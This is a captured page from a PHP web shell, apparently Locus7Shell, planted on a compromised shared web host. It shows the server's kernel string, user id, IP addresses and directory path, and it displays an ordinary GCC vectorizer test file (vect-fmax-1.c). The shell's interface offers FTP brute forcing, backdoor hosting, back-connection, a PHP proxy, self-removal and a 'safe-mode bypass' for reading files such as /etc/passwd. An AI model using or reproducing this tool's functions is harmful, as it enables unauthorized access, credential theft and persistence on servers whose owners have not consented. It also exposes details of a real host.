Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/vect/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vect-fmax-1.c (1.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "tree-vect.h"

#ifndef TYPE
#define TYPE float
#define FN __builtin_fmaxf
#endif

TYPE __attribute__((noipa))
test (TYPE x, TYPE *ptr, int n)
{
  for (int i = 0; i < n; ++i)
    x = FN (x, ptr[i]);
  return x;
}

#define N 128
#define HALF (N / 2)

int
main (void)
{
  check_vect ();

  TYPE a[N];

  for (int i = 0; i < N; ++i)
    a[i] = i;

  if (test (-1, a, 1) != 0)
    __builtin_abort ();
  if (test (-1, a, 64) != 63)
    __builtin_abort ();
  if (test (-1, a, 65) != 64)
    __builtin_abort ();
  if (test (-1, a, 66) != 65)
    __builtin_abort ();
  if (test (-1, a, 67) != 66)
    __builtin_abort ();
  if (test (-1, a, 128) != 127)
    __builtin_abort ();
  if (test (127, a, 128) != 127)
    __builtin_abort ();
  if (test (128, a, 128) != 128)
    __builtin_abort ();

  for (int i = 0; i < N; ++i)
    a[i] = -i;

  if (test (-60, a, 4) != 0)
    __builtin_abort ();
  if (test (0, a, 4) != 0)
    __builtin_abort ();
  if (test (1, a, 4) != 1)
    __builtin_abort ();

  for (int i = 0; i < HALF; ++i)
    {
      a[i] = i;
      a[HALF + i] = HALF - i;
    }

  if (test (0, a, HALF - 16) != HALF - 17)
    __builtin_abort ();
  if (test (0, a, HALF - 2) != HALF - 3)
    __builtin_abort ();
  if (test (0, a, HALF - 1) != HALF - 2)
    __builtin_abort ();
  if (test (0, a, HALF) != HALF - 1)
    __builtin_abort ();
  if (test (0, a, HALF + 1) != HALF)
    __builtin_abort ();
  if (test (0, a, HALF + 2) != HALF)
    __builtin_abort ();
  if (test (0, a, HALF + 3) != HALF)
    __builtin_abort ();
  if (test (0, a, HALF + 16) != HALF)
    __builtin_abort ();

  return 0;
}

/* { dg-final { scan-tree-dump "Detected reduction" "vect" } } */
/* { dg-final { scan-tree-dump "LOOP VECTORIZED" "vect" { target vect_max_reduc } } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--